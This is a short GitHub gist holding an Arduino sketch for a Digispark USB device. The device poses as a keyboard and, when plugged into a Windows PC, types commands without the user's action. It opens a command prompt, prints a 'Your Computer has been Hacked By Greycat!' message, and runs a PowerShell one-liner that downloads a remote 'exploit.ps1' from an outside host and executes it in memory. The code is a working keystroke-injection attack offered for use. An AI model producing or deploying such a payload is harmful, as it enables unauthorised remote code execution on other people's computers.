Skip to content

Instantly share code, notes, and snippets.

@robyfirnandoyusuf
Created May 29, 2025 17:07
Show Gist options
  • Select an option

  • Save robyfirnandoyusuf/9f02edf1829aa102feb478888b1659c1 to your computer and use it in GitHub Desktop.

Select an option

Save robyfirnandoyusuf/9f02edf1829aa102feb478888b1659c1 to your computer and use it in GitHub Desktop.
digispark code
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(500);
DigiKeyboard.println("echo Your Computer has been Hacked By Greycat!");
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell -c \"iwr http://cloudhost/exploit.ps1 | iex\"");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
while (true)
{
digitalWrite(0, HIGH);
digitalWrite(1, HIGH);
delay(300);
digitalWrite(0, LOW);
digitalWrite(1, LOW);
delay(300);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment